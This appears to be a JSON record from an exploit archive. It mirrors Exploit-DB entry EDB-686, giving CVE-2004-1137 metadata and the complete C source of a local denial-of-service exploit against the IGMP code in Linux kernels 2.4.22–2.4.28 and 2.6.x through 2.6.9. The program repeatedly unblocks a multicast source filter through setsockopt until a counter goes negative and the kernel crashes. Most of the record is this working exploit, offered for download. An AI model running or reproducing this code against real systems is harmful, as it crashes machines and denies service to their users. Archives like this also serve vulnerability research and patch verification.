{"exploit":{"id":"EDB-686","name":"Linux Kernel 2.4.22-28/2.6.9 - 'igmp.c' Local Denial of Service (DoS)","description":"Linux Kernel 2.4.22-28/2.6.9 - 'igmp.c' Local Denial of Service (DoS)","cves":["CVE-2004-1137"],"author":"Paul Starzetz","published":"2004-12-14","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/686","path":"exploits/linux/dos/686.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-686.c","vulnerabilities":[{"id":"CVE-2004-1137","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple vulnerabilities in the IGMP functionality for Linux kernel 2.4.22 to 2.4.28, and 2.6.x to 2.6.9, allow local and remote attackers to cause a denial of service or execute arbitrary code via (1) the ip_mc_source function, which decrements a counter to -1, or (2) the igmp_marksources function, which does not properly validate IGMP message parameters and performs an out-of-bounds read.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1137","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1137"},"updatedAt":"2024-08-08T00:39:00.857Z","retrievedAt":"2026-11-26T12:07:44.136Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-686.png?v=2","url":"https://exploitbin.com/exploits/EDB-686","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-686/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-686/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n* Linux igmp.c local DoS\n* Warning: this code will crash your machine!\n*\n* gcc -O2 mreqfck.c -o mreqfck\n*\n* Copyright (c) 2004  iSEC Security Research. All Rights Reserved.\n*\n* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED \"AS IS\"\n* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION\n* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.\n*\n*/\n\n#include <stdio.h>\n#include <unistd.h>\n#include <errno.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <linux/types.h>\n\n#define MCAST_INCLUDE                   1\n#define IP_MSFILTER                     41\n\n#define IP_UNBLOCK_SOURCE               37\n#define IP_BLOCK_SOURCE                 38\n\nstruct ip_msfilter\n{\n   __u32 imsf_multiaddr;\n   __u32 imsf_interface;\n   __u32 imsf_fmode;\n   __u32 imsf_numsrc;\n   __u32 imsf_slist[1];\n};\n\nstruct ip_mreq_source\n{\n   __u32 imr_multiaddr;\n   __u32 imr_interface;\n   __u32 imr_sourceaddr;\n};\n\nvoid\nfatal (const char *message)\n{\n   printf (\"\\n\");\n   if (!errno)\n     {\n         fprintf (stdout, \"FATAL: %s\\n\", message);\n     }\n   else\n     {\n         fprintf (stdout, \"FATAL: %s (%s) \", message,\n                  (char *) (strerror (errno)));\n     }\n   printf (\"\\n\");\n   fflush (stdout);\n   exit (1);\n}\n\nint\nmain ()\n{\n   int s, r, l;\n   struct ip_mreqn mr;\n   struct ip_msfilter msf;\n   struct ip_mreq_source ms;\n   in_addr_t a1, a2;\n\n   s = socket (AF_INET, SOCK_DGRAM, 0);\n   if (s < 0)\n       fatal (\"socket\");\n\n//      first join mcast group\n   memset (&mr, 0, sizeof (mr));\n   mr.imr_multiaddr.s_addr = inet_addr (\"224.0.0.199\");\n   l = sizeof (mr);\n   r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);\n   if (r < 0)\n       fatal (\"setsockopt\");\n\n//      add source filter count=1\n   memset (&ms, 0, sizeof (ms));\n   ms.imr_multiaddr = inet_addr (\"224.0.0.199\");\n   ms.imr_sourceaddr = inet_addr (\"4.5.6.7\");\n   l = sizeof (ms);\n   r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);\n   if (r < 0)\n       fatal (\"setsockopt2\");\n\n//      del source filter count = 0\n//      imr_multiaddr & imr_interface must correspond to ADD\n   memset (&ms, 0, sizeof (ms));\n   ms.imr_multiaddr = inet_addr (\"224.0.0.199\");\n   ms.imr_sourceaddr = inet_addr (\"4.5.6.7\");\n   l = sizeof (ms);\n   r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);\n   if (r < 0)\n       fatal (\"setsockopt2\");\n\n//      del again, count = -1\n   memset (&ms, 0, sizeof (ms));\n   ms.imr_multiaddr = inet_addr (\"224.0.0.199\");\n   ms.imr_sourceaddr = inet_addr (\"4.5.6.7\");\n   l = sizeof (ms);\n   r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);\n   if (r < 0)\n       fatal (\"setsockopt3\");\n\n//      crash\n   memset (&ms, 0, sizeof (ms));\n   ms.imr_multiaddr = inet_addr (\"224.0.0.199\");\n   ms.imr_sourceaddr = inet_addr (\"4.5.6.7\");\n   l = sizeof (ms);\n   r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);\n   if (r < 0)\n       fatal (\"setsockopt4\");\n\n   getchar ();\n\n   return 0;\n}\n\n// milw0rm.com [2004-12-14]","sha256":"39bafc673d8169bbde1c204fff475c83b9215f39e217cf4ebb7c86dd74f644c8","bytes":2938,"fetchedAt":"2026-11-26T12:07:36.617Z","encoding":"utf-8 (display only; download retains original bytes)"}